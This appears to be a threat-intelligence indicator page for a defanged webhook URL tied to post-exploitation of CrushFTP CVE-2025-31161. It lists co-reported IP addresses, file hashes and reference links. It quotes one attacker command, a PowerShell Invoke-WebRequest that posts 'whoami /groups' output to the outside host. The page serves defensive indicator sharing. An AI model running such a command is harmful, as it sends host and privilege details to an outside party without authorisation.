hxxps://1212.requestcatcher[.]com/URL
Reported by 1 independent source · first reported by Huntress · last reported
Last reported 18 months ago
What the reports say
1 report, newest first · the exact sentence from each-
CrushFTP CVE-2025-31161 Auth Bypass and Post-Exploitation“…er gaining initial access and moving to enumerate groups on the host through a web hook (powershell Invoke-WebRequest -Uri hxxps://1212.requestcatcher[.]com/ -Method POST -Body @(whoami /groups)), the threat actor attempted to run two SimpleHelp executables from C:\Windows\ as out…”
Indicators reported together
named in the same reports- 2.58.56[.]16in 1 report
- 172.235.144[.]67in 1 report
- 114c196c39c91575880a5012d06565b1in 1 report
- 1ab5a915e306686a1c7bebd03563a977in 1 report
- 85a1bfebf2a5973e…e902924c347ein 1 report
- f7c8be827f3bd98b…fc1971751ff7in 1 report
- be6cb5f80b33b9e9…ae5969bcfc0ein 1 report
- 1212.requestcatcher[.]comin 1 report
- 146.70.166[.]201in 1 report
- 143.244.47[.]67in 1 report
- 9036c92c3ca73cb6…11873ad7e281in 1 report
- ee6d24410a8cf31d…f607b1dc0be3in 1 report
- 0b8e76eb315bc522…0cfc89d84f69in 1 report
- hxxps://www.crushftp[.]com/crush11wiki/Wiki.jsp?page=Updatein 1 report
- www.crushftp[.]comin 1 report
- hxxps://outpost24[.]com/blog/crushftp-auth-bypass-vulnerability/in 1 report
- outpost24[.]comin 1 report
- hxxps://attackerkb[.]com/topics/k0EgiL9Psz/cve-2025-2825/rapid7-analysisin 1 report
Copy these 18 indicators · defanged
Also named with it: CVE-2025-31161, CVE-2025-2825
Thanks — we review every report.